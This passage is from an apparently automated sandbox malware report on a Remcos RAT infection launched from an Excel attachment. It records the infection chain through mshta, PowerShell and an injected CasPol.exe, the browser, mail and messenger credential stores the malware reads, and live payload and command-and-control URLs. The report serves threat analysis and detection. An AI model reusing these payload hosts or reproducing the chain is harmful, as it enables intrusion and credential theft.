                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.dll VolumeInformationJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.dll VolumeInformationJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\assembly\GAC_64\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.dll VolumeInformationJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.dll VolumeInformationJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management\1.0.0.0__31bf3856ad364e35\Microsoft.BackgroundIntelligentTransfer.Management.dll VolumeInformationJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformationJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Windows.Diagnosis.TroubleshootingPack\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll VolumeInformationJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\assembly\GAC_64\Microsoft.Windows.Diagnosis.SDEngine\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.SDEngine.dll VolumeInformationJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformationJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeQueries volume information: C:\ VolumeInformation
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeQueries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\secmod.db VolumeInformation
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeQueries volume information: C:\ VolumeInformation
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeQueries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\cert8.db VolumeInformation
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeQueries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\key3.db VolumeInformation
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_00434010 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,29_2_00434010
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_0041A7A2 GetUserNameW,29_2_0041A7A2
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_0044800F _free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,_free,29_2_0044800F
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 30_2_0041739B GetVersionExW,30_2_0041739B
                Source: C:\Windows\System32\mshta.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

                Stealing of Sensitive Information

                barindex
                Yara detected Remcos RAT
                Source: Yara matchFile source: 29.2.CasPol.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 29.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000001D.00000002.553244354.00000000004C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: Process Memory Space: CasPol.exe PID: 3688, type: MEMORYSTR
                Contains functionality to steal Chrome passwords or cookies
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: \AppData\Local\Google\Chrome\User Data\Default\Login Data29_2_0040B21B
                Contains functionality to steal Firefox passwords or cookies
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: \AppData\Roaming\Mozilla\Firefox\Profiles\29_2_0040B335
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: \key3.db29_2_0040B335
                Searches for Windows Mail specific files
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeDirectory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail <.oeaccount
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeDirectory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail NULL
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeDirectory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail *
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeDirectory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail NULL
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeDirectory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail\Backup *
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeDirectory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail\Backup NULL
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeDirectory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail\Backup\new *
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeDirectory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail\Backup\new NULL
                Tries to harvest and steal browser information (history, passwords, etc)
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\places.sqlite
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\secmod.db
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\key3.db
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\cert8.db
                Tries to steal Instant Messenger accounts or passwords
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeKey opened: HKEY_CURRENT_USER\Software\Google\Google Talk\Accounts
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeKey opened: HKEY_CURRENT_USER\Software\Google\Google Talk\Accounts
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeKey opened: HKEY_CURRENT_USER\Software\Paltalk
                Tries to steal Mail credentials (via file / registry access)
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeKey opened: HKEY_CURRENT_USER\Identities\{56EE7341-F593-4666-B32B-0DA2F15C6755}\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\06cf47254c38794586c61cc24a734503
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\0a0d020000000000c000000000000046
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\13dbb0c8aa05101a9bb000aa002fc45a
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\205c3a58330443458dd2ac448e6ca789
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\2b8b37090290ba4f959e518e299cb5b1
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\3743a3c1c7e1f64e8f29008dfcb85743
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\53408158a6e73f408d707c6c9897ca11
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\5d87f524a0d3e441a43ef4f9aa2c1e35
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\78c2c8d3c60b8e4dbd322a28757b4add
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\8503020000000000c000000000000046
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9207f3e0a3b11019908b08002b2a56c2
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\b17a5dedc883424088e68fc9f8f9ce35
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\ddb0922fc50b8d42be5a821ede840761
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\f6b27b1a9688564abf9b7e1bd5ef7ca7
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\f86ed2903a4a11cfb57e524153480001
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeKey opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows Live Mail
                Tries to steal Mail credentials (via file registry)
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: ESMTPPassword31_2_004033F0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: _mbscpy,_mbscpy,_mbscpy,_mbscpy,RegCloseKey, PopPassword31_2_00402DB3
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: _mbscpy,_mbscpy,_mbscpy,_mbscpy,RegCloseKey, SMTPPassword31_2_00402DB3
                Yara detected WebBrowserPassView password recovery tool
                Source: Yara matchFile source: Process Memory Space: CasPol.exe PID: 3660, type: MEMORYSTR

                Remote Access Functionality

                barindex
                Detected Remcos RAT
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeMutex created: \Sessions\1\BaseNamedObjects\Rmc-8FCP5S
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeMutex created: \Sessions\1\BaseNamedObjects\Rmc-8FCP5S
                Yara detected Remcos RAT
                Source: Yara matchFile source: 29.2.CasPol.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 29.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000001D.00000002.553244354.00000000004C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: Process Memory Space: CasPol.exe PID: 3688, type: MEMORYSTR
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: cmd.exe29_2_00405042

                Mitre Att&ck Matrix

                ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
                Gather Victim Identity Information121
                Scripting                		Valid Accounts11
                Native API                		121
                Scripting                		1
                DLL Side-Loading                		1
                Deobfuscate/Decode Files or Information                		2
                OS Credential Dumping                		2
                System Time Discovery                		Remote Services11
                Archive Collected Data                		13
                Ingress Tool Transfer                		Exfiltration Over Other Network Medium1
                System Shutdown/Reboot
                CredentialsDomainsDefault Accounts23
                Exploitation for Client Execution                		1
                DLL Side-Loading                		1
                Bypass User Account Control                		21
                Obfuscated Files or Information                		111
                Input Capture                		1
                Account Discovery                		Remote Desktop Protocol1
                Data from Local System                		21
                Encrypted Channel                		Exfiltration Over Bluetooth1
                Defacement
                Email AddressesDNS ServerDomain Accounts123
                Command and Scripting Interpreter                		1
                Windows Service                		1
                Access Token Manipulation                		1
                Install Root Certificate                		2
                Credentials in Registry                		1
                System Service Discovery                		SMB/Windows Admin Shares21
                Email Collection                		1
                Non-Standard Port                		Automated ExfiltrationData Encrypted for Impact
                Employee NamesVirtual Private ServerLocal Accounts2
                Service Execution                		Login Hook1
                Windows Service                		1
                DLL Side-Loading                		3
                Credentials In Files                		4
                File and Directory Discovery                		Distributed Component Object Model111
                Input Capture                		1
                Remote Access Software                		Traffic DuplicationData Destruction
                Gather Victim Network InformationServerCloud Accounts3
                PowerShell                		Network Logon Script321
                Process Injection                		1
                Bypass User Account Control                		LSA Secrets39
                System Information Discovery                		SSH4
                Clipboard Data                		2
                Non-Application Layer Protocol                		Scheduled TransferData Encrypted for Impact
                Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts1
                Masquerading                		Cached Domain Credentials31
                Security Software Discovery                		VNCGUI Input Capture213
                Application Layer Protocol                		Data Transfer Size LimitsService Stop
                DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items31
                Virtualization/Sandbox Evasion                		DCSync31
                Virtualization/Sandbox Evasion                		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
                Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job1
                Access Token Manipulation                		Proc Filesystem3
                Process Discovery                		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
                Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt321
                Process Injection                		/etc/passwd and /etc/shadow1
                Application Window Discovery                		Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement
                IP AddressesCompromise InfrastructureSupply Chain CompromisePowerShellCronCronDynamic API ResolutionNetwork Sniffing1
                System Owner/User Discovery                		Shared WebrootLocal Data StagingFile Transfer ProtocolsExfiltration Over Asymmetric Encrypted Non-C2 ProtocolExternal Defacement
                Network Security AppliancesDomainsCompromise Software Dependencies and Development ToolsAppleScriptLaunchdLaunchdStripped PayloadsInput Capture1
                Remote System Discovery                		Software Deployment ToolsRemote Data StagingMail ProtocolsExfiltration Over Unencrypted Non-C2 ProtocolFirmware Corruption

                Behavior Graph

                Hide Legend

                Legend:

                • Process
                • Signature
                • Created File
                • DNS/IP Info
                • Is Dropped
                • Is Windows Process
                • Number of created Registry Values
                • Number of created Files
                • Visual Basic
                • Delphi
                • Java
                • .Net C# or VB.NET
                • C, C++ or other language
                • Is malicious
                • Internet
                behaviorgraph top1 signatures2 2 Behavior Graph ID: 1564464 Sample: Sipari#U015f_listesi.xls Startdate: 28/11/2024 Architecture: WINDOWS Score: 100 99 Suricata IDS alerts for network traffic 2->99 101 Found malware configuration 2->101 103 Malicious sample detected (through community Yara rule) 2->103 105 21 other signatures 2->105 12 EXCEL.EXE 59 34 2->12         started        process3 dnsIp4 89 172.232.175.166, 49164, 49166, 49168 AKAMAI-ASN1EU United States 12->89 91 ljg.cl 152.231.117.86, 443, 49163, 49165 ENTELCHILESACL Chile 12->91 75 C:\Users\...\Sipari#U015f_listesi.xls (copy), Composite 12->75 dropped 77 C:\Users\user\...\createdgoodthingsfor[1].hta, HTML 12->77 dropped 149 Microsoft Office drops suspicious files 12->149 17 mshta.exe 10 12->17         started        21 mshta.exe 10 12->21         started        file5 signatures6 process7 dnsIp8 79 ljg.cl 17->79 107 Suspicious command line found 17->107 109 PowerShell case anomaly found 17->109 23 cmd.exe 17->23         started        81 ljg.cl 21->81 26 cmd.exe 21->26         started        signatures9 process10 signatures11 119 Suspicious powershell command line found 23->119 121 Wscript starts Powershell (via cmd or directly) 23->121 123 PowerShell case anomaly found 23->123 28 powershell.exe 24 23->28         started        32 powershell.exe 26->32         started        process12 file13 71 createdbestthignsw...egivenmebestfor.vbS, Unicode 28->71 dropped 73 C:\Users\user\AppData\...\1012d3sk.cmdline, Unicode 28->73 dropped 143 Installs new ROOT certificates 28->143 34 wscript.exe 1 28->34         started        37 csc.exe 2 28->37         started        40 wscript.exe 32->40         started        42 csc.exe 32->42         started        signatures14 process15 file16 111 Suspicious powershell command line found 34->111 113 Wscript starts Powershell (via cmd or directly) 34->113 115 Windows Scripting host queries suspicious COM object (likely to drop second stage) 34->115 117 Suspicious execution chain found 34->117 44 powershell.exe 12 4 34->44         started        67 C:\Users\user\AppData\Local\...\1012d3sk.dll, PE32 37->67 dropped 48 cvtres.exe 37->48         started        50 powershell.exe 40->50         started        69 C:\Users\user\AppData\Local\...\oerqobky.dll, PE32 42->69 dropped 52 cvtres.exe 42->52         started        signatures17 process18 dnsIp19 93 ip.3012.filemail.com 193.30.119.112, 443, 49173, 49174 DFNVereinzurFoerderungeinesDeutschenForschungsnetzese unknown 44->93 95 3012.filemail.com 44->95 145 Writes to foreign memory regions 44->145 147 Injects a PE file into a foreign processes 44->147 54 CasPol.exe 44->54         started        97 3012.filemail.com 50->97 58 CasPol.exe 50->58         started        signatures20 process21 dnsIp22 83 newbeggin.duckdns.org 54->83 85 newbeggin.duckdns.org 31.13.224.72, 2431, 49176, 49177 SARNICA-ASBG Bulgaria 54->85 87 geoplugin.net 178.237.33.50, 49179, 80 ATOM86-ASATOM86NL Netherlands 54->87 125 Contains functionality to bypass UAC (CMSTPLUA) 54->125 127 Detected Remcos RAT 54->127 129 Tries to steal Mail credentials (via file registry) 54->129 133 6 other signatures 54->133 60 CasPol.exe 54->60         started        63 CasPol.exe 54->63         started        65 CasPol.exe 54->65         started        signatures23 131 Uses dynamic DNS services 83->131 process24 signatures25 135 Tries to steal Instant Messenger accounts or passwords 60->135 137 Tries to steal Mail credentials (via file / registry access) 60->137 139 Searches for Windows Mail specific files 60->139 141 Tries to harvest and steal browser information (history, passwords, etc) 63->141

                Screenshots

                Thumbnails

                This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                windows-stand

                Antivirus, Machine Learning and Genetic Malware Detection

                Initial Sample

                SourceDetectionScannerLabelLink
                Sipari#U015f_listesi.xls16%ReversingLabs
                Sipari#U015f_listesi.xls100%Joe Sandbox ML

                Dropped Files

                ⊘No Antivirus matches

                Unpacked PE Files

                ⊘No Antivirus matches

                Domains

                ⊘No Antivirus matches

                URLs

                SourceDetectionScannerLabelLink
                newbeggin.duckdns.org100%Avira URL Cloudmalware
                http://172.232.175.166/809/ce/createdgoodthingsfor.htazuelan=tall&alibi=victorious&postage=round&pla0%Avira URL Cloudsafe
                http://172.232.175.166/809/ce/createdgoodthingsfor.htahttp://172.232.175.166/809/ce/createdgoodthing0%Avira URL Cloudsafe
                https://3012.filemail.com0%Avira URL Cloudsafe
                http://172.232.175.166/809/ce/createdgoodthingsfor.htaU0%Avira URL Cloudsafe
                http://172.232.175.166/809/ce/createdgoodthingsfor.htaP0%Avira URL Cloudsafe
                http://172.232.175.166/809/ce/createdgoodthingsfor.hta0%Avira URL Cloudsafe
                http://172.232.175.166/809/RGFVVGF.txt0%Avira URL Cloudsafe
                https://ljg.cl/fWsm?&lynx=wicked&calm=uninterested&venezuelan=tall&alibi=victorious&postage=round&pl0%Avira URL Cloudsafe
                https://ljg.cl/DE7-0%Avira URL Cloudsafe
                http://172.232.175.166/809/ce/createdgoodthingsfor.htaC:0%Avira URL Cloudsafe
                https://ljg.cl/fWsm?&lynx=wicked&calm=uninterested&venezuelan=tall&alibi=victorious&postage=round&plaster0%Avira URL Cloudsafe
                https://ljg.cl/0%Avira URL Cloudsafe
                http://172.232.175.166/809/ce/createdgoodthingsfor.htase0%Avira URL Cloudsafe
                http://172.232.175.166/809/ce/createdgoodthingsfor.htazuelan=tall0%Avira URL Cloudsafe
                https://3012.filemail.com/api/file/get?filekey=OF0gFcxMQCUwPYleTyb2Yh9aBTpRl9_K_LOoTKArK4ipMrH8N0jibXrPYJoFvjqaK50qGw&track=krUNywEJ&skipreg=true&pk_vid=a6a926643893714e17327089141d94320%Avira URL Cloudsafe
                https://3012.filemail.com/api/file/get?filekey=OF0gFcxMQCUwPYleTyb2Yh9aBTpRl9_K_LOoTKArK4ipMrH8N0jib0%Avira URL Cloudsafe
                http://172.232.175.166/=A0%Avira URL Cloudsafe
                http://172.232.175.166/809/creat0%Avira URL Cloudsafe
                https://ljg.cl/PAT0%Avira URL Cloudsafe
                http://172.232.175.166/809/ce/createdgoodthingsfor.hta...0%Avira URL Cloudsafe
                https://ljg.cl/K0%Avira URL Cloudsafe
                http://172.232.175.166/809/createdbestthignswihtentiretimegivenmebestforever.tIF0%Avira URL Cloudsafe
                http://172.232.175.166/809/createdbestthignswihtentiretimegivenmebestforever.tIFf0%Avira URL Cloudsafe
                http://172.232.175.166/0%Avira URL Cloudsafe
                http://172.232.175.166/809/createdbestthignswihtentiretimegivenmebestforever.tIFp0%Avira URL Cloudsafe
                http://172.232.175.1660%Avira URL Cloudsafe
                http://172.232.175.166/809/ce/createdgoodthingsfor.htazuelan=tallW0%Avira URL Cloudsafe
                http://172.232.175.166/809/ce/createdgoodthingsfor.htaan=tall&alibi=victorious&0%Avira URL Cloudsafe

                Domains and IPs

                Contacted Domains

                NameIPActiveMaliciousAntivirus DetectionReputation
                newbeggin.duckdns.org
                		31.13.224.72
                		truetrue
                  		unknown
                  geoplugin.net
                  		178.237.33.50
                  		truefalse
                    		high
                    ljg.cl
                    		152.231.117.86
                    		truefalse
                      		high
                      ip.3012.filemail.com
                      		193.30.119.112
                      		truetrue
                        		unknown
                        3012.filemail.com
                        		unknown
                        		unknowntrue
                          		unknown

                          Contacted URLs

                          NameMaliciousAntivirus DetectionReputation
                          http://172.232.175.166/809/ce/createdgoodthingsfor.htatrue
                          • Avira URL Cloud: safe
                          		unknown
                          newbeggin.duckdns.orgtrue
                          • Avira URL Cloud: malware
                          		unknown
                          http://172.232.175.166/809/RGFVVGF.txttrue
                          • Avira URL Cloud: safe
                          		unknown
                          https://3012.filemail.com/api/file/get?filekey=OF0gFcxMQCUwPYleTyb2Yh9aBTpRl9_K_LOoTKArK4ipMrH8N0jibXrPYJoFvjqaK50qGw&track=krUNywEJ&skipreg=true&pk_vid=a6a926643893714e17327089141d9432true
                          • Avira URL Cloud: safe
                          		unknown
                          https://ljg.cl/fWsm?&lynx=wicked&calm=uninterested&venezuelan=tall&alibi=victorious&postage=round&plasterfalse
                          • Avira URL Cloud: safe
                          		unknown
                          http://geoplugin.net/json.gpfalse
                            		high
                            http://172.232.175.166/809/createdbestthignswihtentiretimegivenmebestforever.tIFtrue
                            • Avira URL Cloud: safe
                            		unknown

                            URLs from Memory and Binaries

                            NameSourceMaliciousAntivirus DetectionReputation
